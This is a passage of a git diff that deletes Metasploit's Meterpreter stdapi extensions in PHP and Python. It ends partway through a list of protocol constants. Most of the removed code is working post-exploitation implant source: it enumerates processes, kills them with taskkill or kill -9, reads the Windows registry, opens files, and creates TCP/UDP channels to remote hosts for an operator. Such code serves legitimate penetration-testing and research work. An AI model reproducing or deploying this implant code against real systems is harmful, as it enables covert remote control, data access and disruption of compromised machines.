run the command - } - - $processes[] = $proc; - - return ERROR_SUCCESS; -} -} - - -if (!function_exists('stdapi_sys_process_close')) { -register_command('stdapi_sys_process_close'); -function stdapi_sys_process_close($req, &$pkt) { - global $processes; - my_print("doing process_close"); - $handle_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_HANDLE); - if (array_key_exists($handle_tlv['value'], $processes)) { - close_process($processes[$handle_tlv['value']]); - } - - return ERROR_SUCCESS; -} -} - -if (!function_exists('close_process')) { -function close_process($proc) { - if ($proc) { - my_print("Closing process handle {$proc['handle']}"); - # In the case of a channelized process, this will be redundant as the - # channel_close will also try to close all of these handles. There's no - # real harm in that, so go ahead and just always make sure they get - # closed. - foreach ($proc['pipes'] as $f) { - @fclose($f); - } - if (is_callable('proc_get_status')) { - $status = proc_get_status($proc['handle']); - } else { - # fake a running process on php < 4.3 - $status = array('running' => true); - } - - # proc_close blocks waiting for the child to exit, so if it's still - # running, don't take a chance on deadlock and just sigkill it if we - # can. We can't on php < 4.3, so don't do anything. This will leave - # zombie processes, but that's better than deadlock. - if ($status['running'] == false) { - proc_close($proc['handle']); - } else { - if (is_callable('proc_terminate')) { - proc_terminate($proc['handle'], 9); - } - } - if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) { - unset($channel_process_map[$proc['cid']]); - } - } -} -} - -# Works, but not very portable. There doesn't appear to be a PHP way of -# getting a list of processes, so we just shell out to ps/tasklist.exe. I need -# to decide what options to send to ps for portability and for information -# usefulness. -if (!function_exists('stdapi_sys_process_get_processes')) { -register_command('stdapi_sys_process_get_processes'); -function stdapi_sys_process_get_processes($req, &$pkt) { - my_print("doing get_processes"); - $list = array(); - if (is_windows()) { - # This command produces a line like: - # "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName" - $output = my_cmd("tasklist /v /fo csv /nh"); - $lines = explode("\n", trim($output)); - foreach ($lines as $line) { - $line = trim($line); - # - # Ghetto CSV parsing - # - $pieces = preg_split('/","/', $line); - # Strip off the initial quote on the first and last elements - $pieces[0] = substr($pieces[0], 1, strlen($pieces[0])); - $cnt = count($pieces) - 1; - $pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt])); - - $proc_info = array($pieces[1], $pieces[6], $pieces[0]); - array_push($list, $proc_info); - } - } else { - # This command produces a line like: - # 1553 root /sbin/getty -8 38400 tty1 - $output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null"); - $lines = explode("\n", trim($output)); - foreach ($lines as $line) { - array_push($list, preg_split("/\s+/", trim($line))); - } - } - foreach ($list as $proc) { - $grp = ""; - $grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0])); - $grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1])); - $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2])); - # Strip the pid and the user name off the front; the rest will be the - # full command line - array_shift($proc); - array_shift($proc); - $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " "))); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp)); - } - return ERROR_SUCCESS; -} -} - -# works -if (!function_exists('stdapi_sys_process_getpid')) { -register_command('stdapi_sys_process_getpid'); -function stdapi_sys_process_getpid($req, &$pkt) { - my_print("doing getpid"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid())); - return ERROR_SUCCESS; -} -} - -if (!function_exists('stdapi_sys_process_kill')) { -register_command('stdapi_sys_process_kill'); -function stdapi_sys_process_kill($req, &$pkt) { - # The existence of posix_kill is unlikely (it's a php compile-time option - # that isn't enabled by default, but better to try it and avoid shelling - # out when unnecessary. - my_print("doing kill"); - $pid_tlv = packet_get_tlv($req, TLV_TYPE_PID); - $pid = $pid_tlv['value']; - if (is_callable('posix_kill')) { - $ret = posix_kill($pid, 9); - $ret = $ret ? ERROR_SUCCESS : posix_get_last_error(); - if ($ret != ERROR_SUCCESS) { - my_print(posix_strerror($ret)); - } - } else { - $ret = ERROR_FAILURE; - if (is_windows()) { - my_cmd("taskkill /f /pid $pid"); - # Don't know how to check for success yet, so just assume it worked - $ret = ERROR_SUCCESS; - } else { - if ("foo" == my_cmd("kill -9 $pid && echo foo")) { - $ret = ERROR_SUCCESS; - } - } - } - return $ret; -} -} - -if (!function_exists('stdapi_net_socket_tcp_shutdown')) { -register_command('stdapi_net_socket_tcp_shutdown'); -function stdapi_net_socket_tcp_shutdown($req, &$pkt) { - my_print("doing stdapi_net_socket_tcp_shutdown"); - $cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $c = get_channel_by_id($cid_tlv['value']); - - if ($c && $c['type'] == 'socket') { - @socket_shutdown($c[0], $how); - $ret = ERROR_SUCCESS; - } else { - $ret = ERROR_FAILURE; - } - return $ret; -} -} - - - -# -# Registry -# - -if (!function_exists('register_registry_key')) { -$_GLOBALS['registry_handles'] = array(); - -function register_registry_key($key) { - global $registry_handles; - $registry_handles[] = $key; - return count($registry_handles) - 1; -} -} - -if (!function_exists('deregister_registry_key')) { -function deregister_registry_key($id) { - global $registry_handles; - $registry_handles[$id] = null; -} -} - - -if (!function_exists('stdapi_registry_create_key')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_create_key'); -} -function stdapi_registry_create_key($req, &$pkt) { - my_print("doing stdapi_registry_create_key"); - if (is_windows() and is_callable('reg_open_key')) { - $root_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); - $base_tlv = packet_get_tlv($req, TLV_TYPE_BASE_KEY); - $perm_tlv = packet_get_tlv($req, TLV_TYPE_PERMISSION); - dump_array($root_tlv); - dump_array($base_tlv); - - # For some reason the php constants for registry root keys do not have - # the high bit set and are 1 less than the normal Windows constants, so - # fix it here. - $root = ($root_tlv['value'] & ~0x80000000) + 1; - $base = $base_tlv['value']; - - my_print("reg opening '$root', '$base'"); - $key = reg_open_key($root, $base); - if (!$key) { - my_print("reg open failed: $key"); - return ERROR_FAILURE; - } - $key_id = register_registry_key($key); - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_HKEY, $key_id)); - - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_registry_close_key')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_close_key'); -} -function stdapi_registry_close_key($req, &$pkt) { - if (is_windows() and is_callable('reg_open_key')) { - global $registry_handles; - my_print("doing stdapi_registry_close_key"); - $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); - $key_id = $key_id_tlv['value']; - - reg_close_key($registry_handles[$key_id]); - deregister_registry_key($key_id); - - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_registry_query_value')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_query_value'); -} -function stdapi_registry_query_value($req, &$pkt) { - if (is_windows() and is_callable('reg_open_key')) { - global $registry_handles; - my_print("doing stdapi_registry_query_value"); - $key_id_tlv = packet_get_tlv($req, TLV_TYPE_HKEY); - $key_id = $key_id_tlv['value']; - $name_tlv = packet_get_tlv($req, TLV_TYPE_VALUE_NAME); - $name = $name_tlv['value']; - - #my_print("Looking up stored key handle $key_id"); - #dump_array($registry_handles, "Reg handles"); - $key = $registry_handles[$key_id]; - if (!$key) { - return ERROR_FAILURE; - } - $data = reg_get_value($key, $name); - my_print("Found data for $key\\$name : $data, ". is_int($data)); - # There doesn't appear to be an API to get the type, all we can do is - # infer based on what the value looks like. =( - if (is_int($data)) { - $type = REG_DWORD; - $data = pack("N", (int)$data); - } else { - $type = REG_SZ; - # The api strips the null for us, so put it back - $data = $data ."\x00"; - } - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_DATA, $data)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_TYPE, $type)); - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_registry_set_value')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_set_value'); -} -function stdapi_registry_set_value($req, &$pkt) { - if (is_windows() and is_callable('reg_open_key')) { - global $registry_handles; - my_print("doing stdapi_registry_set_value"); - $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); - $key_id = $key_id_tlv['value']; - } else { - return ERROR_FAILURE; - } -} -} - - -# END STDAPI - - - -## -# Channel Helper Functions -## - -if (!function_exists('channel_create_stdapi_fs_file')) { -function channel_create_stdapi_fs_file($req, &$pkt) { - $fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE); - #my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}"); - if (!$mode_tlv) { - $mode_tlv = array('value' => 'rb'); - } - $fd = @fopen($fpath_tlv['value'], $mode_tlv['value']); - - if (is_resource($fd)) { - register_stream($fd); - $id = register_channel($fd); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); - return ERROR_SUCCESS; - } else { - my_print("Failed to open"); - } - return ERROR_FAILURE; -} -} - - -if (!function_exists('channel_create_stdapi_net_tcp_client')) { -function channel_create_stdapi_net_tcp_client($req, &$pkt) { - my_print("creating tcp client"); - - $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); - $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); - $local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); - $local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); - $retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES); - if ($retries_tlv['value']) { - $retries = $retries_tlv['value']; - } else { - $retries = 1; - } - - for ($i = 0; $i < $retries; $i++) { - $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value']); - if ($sock) { - break; - } - } - - if (!$sock) { - return ERROR_CONNECTION_ERROR; - } - - # - # If we got here, the connection worked, respond with the new channel ID - # - - $id = register_channel($sock); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); - add_reader($sock); - return ERROR_SUCCESS; -} -} - -if (!function_exists('channel_create_stdapi_net_udp_client')) { -function channel_create_stdapi_net_udp_client($req, &$pkt) { - my_print("creating udp client"); - - $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); - $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); - - # We can't actually do anything with local_host and local_port because PHP - # doesn't let us specify these values in any of the exposed socket API - # functions. - #$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); - #$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); - - $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp'); - my_print("UDP channel on {$sock}"); - - if (!$sock) { - return ERROR_CONNECTION_ERROR; - } - - # - # If we got here, the connection worked, respond with the new channel ID - # - - $id = register_channel($sock); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); - add_reader($sock); - return ERROR_SUCCESS; -} -} - - - - diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py deleted file mode 100644 index 9e487280be..0000000000 --- a/data/meterpreter/ext_server_stdapi.py +++ /dev/null @@ -1,1581 +0,0 @@ -import fnmatch -import getpass -import os -import platform -import shlex -import shutil -import socket -import struct -import subprocess -import sys -import time - -try: - import ctypes - has_ctypes = True - has_windll = hasattr(ctypes, 'windll') -except ImportError: - has_ctypes = False - has_windll = False - -try: - import pty - has_pty = True -except ImportError: - has_pty = False - -try: - import pwd - has_pwd = True -except ImportError: - has_pwd = False - -try: - import SystemConfiguration as osxsc - has_osxsc = True -except ImportError: - has_osxsc = False - -try: - import termios - has_termios = True -except ImportError: - has_termios = False - -try: - import _winreg as winreg - has_winreg = True -except ImportError: - has_winreg = False - -try: - import winreg - has_winreg = True -except ImportError: - has_winreg = (has_winreg or False) - -if sys.version_info[0] < 3: - is_str = lambda obj: issubclass(obj.__class__, str) - is_bytes = lambda obj: issubclass(obj.__class__, str) - bytes = lambda *args: str(*args[:1]) - NULL_BYTE = '\x00' - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x) -else: - if isinstance(__builtins__, dict): - is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) - str = lambda x: __builtins__['str'](x, 'UTF-8') - else: - is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) - str = lambda x: __builtins__.str(x, 'UTF-8') - is_bytes = lambda obj: issubclass(obj.__class__, bytes) - NULL_BYTE = bytes('\x00', 'UTF-8') - long = int - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x) - -if has_ctypes: - # - # Windows Structures - # - class SOCKADDR(ctypes.Structure): - _fields_ = [("sa_family", ctypes.c_ushort), - ("sa_data", (ctypes.c_uint8 * 14))] - - class SOCKET_ADDRESS(ctypes.Structure): - _fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)), - ("iSockaddrLength", ctypes.c_int)] - - class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure): - _fields_ = [ - ("s", type( - '_s_IP_ADAPTER_UNICAST_ADDRESS', - (ctypes.Structure,), - dict(_fields_ = [ - ("Length", ctypes.c_ulong), - ("Flags", ctypes.c_uint32) - ]) - )), - ("Next", ctypes.c_void_p), - ("Address", SOCKET_ADDRESS), - ("PrefixOrigin", ctypes.c_uint32), - ("SuffixOrigin", ctypes.c_uint32), - ("DadState", ctypes.c_uint32), - ("ValidLifetime", ctypes.c_ulong), - ("PreferredLifetime", ctypes.c_ulong), - ("LeaseLifetime", ctypes.c_ulong), - ("OnLinkPrefixLength", ctypes.c_uint8)] - - class IP_ADAPTER_ADDRESSES(ctypes.Structure): - _fields_ = [ - ("u", type( - '_u_IP_ADAPTER_ADDRESSES', - (ctypes.Union,), - dict(_fields_ = [ - ("Alignment", ctypes.c_ulonglong), - ("s", type( - '_s_IP_ADAPTER_ADDRESSES', - (ctypes.Structure,), - dict(_fields_ = [ - ("Length", ctypes.c_ulong), - ("IfIndex", ctypes.c_uint32) - ]) - )) - ]) - )), - ("Next", ctypes.c_void_p), - ("AdapterName", ctypes.c_char_p), - ("FirstUnicastAddress", ctypes.c_void_p), - ("FirstAnycastAddress", ctypes.c_void_p), - ("FirstMulticastAddress", ctypes.c_void_p), - ("FirstDnsServerAddress", ctypes.c_void_p), - ("DnsSuffix", ctypes.c_wchar_p), - ("Description", ctypes.c_wchar_p), - ("FriendlyName", ctypes.c_wchar_p), - ("PhysicalAddress", (ctypes.c_uint8 * 8)), - ("PhysicalAddressLength", ctypes.c_uint32), - ("Flags", ctypes.c_uint32), - ("Mtu", ctypes.c_uint32), - ("IfType", ctypes.c_uint32), - ("OperStatus", ctypes.c_uint32), - ("Ipv6IfIndex", ctypes.c_uint32), - ("ZoneIndices", (ctypes.c_uint32 * 16)), - ("FirstPrefix", ctypes.c_void_p), - ("TransmitLinkSpeed", ctypes.c_uint64), - ("ReceiveLinkSpeed", ctypes.c_uint64), - ("FirstWinsServerAddress", ctypes.c_void_p), - ("FirstGatewayAddress", ctypes.c_void_p), - ("Ipv4Metric", ctypes.c_ulong), - ("Ipv6Metric", ctypes.c_ulong), - ("Luid", ctypes.c_uint64), - ("Dhcpv4Server", SOCKET_ADDRESS), - ("CompartmentId", ctypes.c_uint32), - ("NetworkGuid", (ctypes.c_uint8 * 16)), - ("ConnectionType", ctypes.c_uint32), - ("TunnelType", ctypes.c_uint32), - ("Dhcpv6Server", SOCKET_ADDRESS), - ("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)), - ("Dhcpv6ClientDuidLength", ctypes.c_ulong), - ("Dhcpv6Iaid", ctypes.c_ulong), - ("FirstDnsSuffix", ctypes.c_void_p)] - - class MIB_IFROW(ctypes.Structure): - _fields_ = [("wszName", (ctypes.c_wchar * 256)), - ("dwIndex", ctypes.c_uint32), - ("dwType", ctypes.c_uint32), - ("dwMtu", ctypes.c_uint32), - ("dwSpeed", ctypes.c_uint32), - ("dwPhysAddrLen", ctypes.c_uint32), - ("bPhysAddr", (ctypes.c_uint8 * 8)), - ("dwAdminStatus", ctypes.c_uint32), - ("dwOperStaus", ctypes.c_uint32), - ("dwLastChange", ctypes.c_uint32), - ("dwInOctets", ctypes.c_uint32), - ("dwInUcastPkts", ctypes.c_uint32), - ("dwInNUcastPkts", ctypes.c_uint32), - ("dwInDiscards", ctypes.c_uint32), - ("dwInErrors", ctypes.c_uint32), - ("dwInUnknownProtos", ctypes.c_uint32), - ("dwOutOctets", ctypes.c_uint32), - ("dwOutUcastPkts", ctypes.c_uint32), - ("dwOutNUcastPkts", ctypes.c_uint32), - ("dwOutDiscards", ctypes.c_uint32), - ("dwOutErrors", ctypes.c_uint32), - ("dwOutQLen", ctypes.c_uint32), - ("dwDescrLen", ctypes.c_uint32), - ("bDescr", (ctypes.c_char * 256))] - - class MIB_IPADDRROW(ctypes.Structure): - _fields_ = [("dwAddr", ctypes.c_uint32), - ("dwIndex", ctypes.c_uint32), - ("dwMask", ctypes.c_uint32), - ("dwBCastAddr", ctypes.c_uint32), - ("dwReasmSize", ctypes.c_uint32), - ("unused1", ctypes.c_uint16), - ("wType", ctypes.c_uint16)] - - class PROCESSENTRY32(ctypes.Structure): - _fields_ = [("dwSize", ctypes.c_uint32), - ("cntUsage", ctypes.c_uint32), - ("th32ProcessID", ctypes.c_uint32), - ("th32DefaultHeapID", ctypes.c_void_p), - ("th32ModuleID", ctypes.c_uint32), - ("cntThreads", ctypes.c_uint32), - ("th32ParentProcessID", ctypes.c_uint32), - ("thPriClassBase", ctypes.c_int32), - ("dwFlags", ctypes.c_uint32), - ("szExeFile", (ctypes.c_char * 260))] - - class SID_AND_ATTRIBUTES(ctypes.Structure): - _fields_ = [("Sid", ctypes.c_void_p), - ("Attributes", ctypes.c_uint32)] - - class SYSTEM_INFO(ctypes.Structure): - _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), - ("wReserved", ctypes.c_uint16), - ("dwPageSize", ctypes.c_uint32), - ("lpMinimumApplicationAddress", ctypes.c_void_p), - ("lpMaximumApplicationAddress", ctypes.c_void_p), - ("dwActiveProcessorMask", ctypes.c_uint32), - ("dwNumberOfProcessors", ctypes.c_uint32), - ("dwProcessorType", ctypes.c_uint32), - ("dwAllocationGranularity", ctypes.c_uint32), - ("wProcessorLevel", ctypes.c_uint16), - ("wProcessorRevision", ctypes.c_uint16)] - - class TOKEN_USER(ctypes.Structure): - _fields_ = [("User", SID_AND_ATTRIBUTES)] - - # - # Linux Structures - # - class IFADDRMSG(ctypes.Structure): - _fields_ = [("family", ctypes.c_uint8), - ("prefixlen", ctypes.c_uint8), - ("flags", ctypes.c_uint8), - ("scope", ctypes.c_uint8), - ("index", ctypes.c_int32)] - - class IFINFOMSG(ctypes.Structure): - _fields_ = [("family", ctypes.c_uint8), - ("pad", ctypes.c_int8), - ("type", ctypes.c_uint16), - ("index", ctypes.c_int32), - ("flags", ctypes.c_uint32), - ("chagen", ctypes.c_uint32)] - - class NLMSGHDR(ctypes.Structure): - _fields_ = [("len", ctypes.c_uint32), - ("type", ctypes.c_uint16), - ("flags", ctypes.c_uint16), - ("seq", ctypes.c_uint32), - ("pid", ctypes.c_uint32)] - - class RTATTR(ctypes.Structure): - _fields_ = [("len", ctypes.c_uint16), - ("type", ctypes.c_uint16)] - -# -# TLV Meta Types -# -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) -TLV_META_TYPE_QWORD = (1 << 20) -TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) -# not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) - -# -# TLV Specific Types -# -TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 -TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 -TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 -TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 -TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 - -TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 -TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 -TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 - -TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 -TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 -TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 - -TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 -TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 -TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 -TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 -TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 - -## -# General -## -TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600 -TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 -TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 -TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 - -## -# Fs -## -TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200 -TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201 -TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202 -TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203 -TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 -TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206 - -TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220 - -TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230 -TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231 -TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232 -TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233 - -## -# Net -## -TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400 -TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401 -TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402 -TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403 -TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404 - -TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420 -TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421 -TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422 -TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423 -TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424 - -TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430 -TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431 -TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432 -TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 -TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434 - -TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 -TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 -TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442 -TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443 -TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444 - -## -# Socket -## -TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 -TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 -TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 -TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 -TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504 - -TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 - -## -# Registry -## -TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000 -TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY -TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 -TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 -TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 -TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 -TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 -TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 -TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013 - -## -# Config -## -TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 -TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 -TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 -TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 -TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045 - -## -# Environment -## -TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100 -TLV_TYPE_ENV_VALUE = TLV_META_TYPE_STRING | 1101 -TLV_TYPE_ENV_GROUP = TLV_META_TYPE_GROUP | 1102 - -DELETE_KEY_FLAG_RECURSIVE = (1 << 0) - -## -# Process -## -TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000 -TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 -TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 -TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 -TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 -TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005 -TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 -TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 -TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 -TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300 -TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301 -TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302 -TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303 -TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304 -TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305 -TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306 -TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 - -TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 -TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 -TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 -TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 -TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 -TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 -TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 - -TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 -TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 -TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 -TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511 -TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512 -TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 - -TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 -TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541 -TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542 -TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550 - -## -# Ui -## -TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000 -TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001 -TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 - -## -# Event Log -## -TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 -TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001 -TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 - -TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 -TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004 - -TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006 -TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007 -TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008 -TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009 -TLV_TYPE_EVENT_TYPE = 